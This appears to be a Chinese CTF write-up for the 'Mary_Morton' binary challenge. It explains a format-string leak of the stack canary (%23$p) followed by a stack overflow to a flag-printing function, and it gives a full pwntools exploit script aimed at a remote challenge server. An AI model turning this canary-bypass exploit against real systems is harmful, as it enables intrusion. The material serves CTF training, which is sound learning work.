Mary_Morton

0x01 漏洞点

1
分析能够发现程序有两处漏洞,一处是栈溢出,一处是格式化字符串漏洞

1
2
程序有Canary保护,这个保护就是在栈上面抱一个标志canary,在程序执行结束后,会检测这个标志是否发生变化,若发生变化则程序报错,这个canary通常是在ebp的上面,同一个程序在每一次执行时这个标志canary是不同的,但是在执行过程中这个标志是不会发生变化的
所以,我们就是以利用格式化字符串来读取标志canary,然后再去利用栈溢出去执行system(""/bin/cat ./flag"")

0x02 攻击

1
首先计算一下格式化字符串的偏移,偏移为5,由于程序是64位的,所以%x不可以使用,改用%llx

1
由于buf的大小为0x90,并且标志canary是在ebp的上面,也就是buf的最低处,所以标志canary的偏移就是23

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *context.arch = "amd64"
context.log_level = "debug"

#p = process("./Mary_Morton")
p = remote('111.198.29.45','54470')
canary = ""
p.sendlineafter("3. Exit the battle \n","2")
p.sendline("%23$p")
sleep(0.5)
canary = p.recv(18)
cc = int(canary,16)
print(cc)
p.sendlineafter("3. Exit the battle \n","1")

payload = 'a'*0x88 + p64(cc) + 'a'*8 + p64(0x4008DA)

p.send(payload)

p.interactive()
0%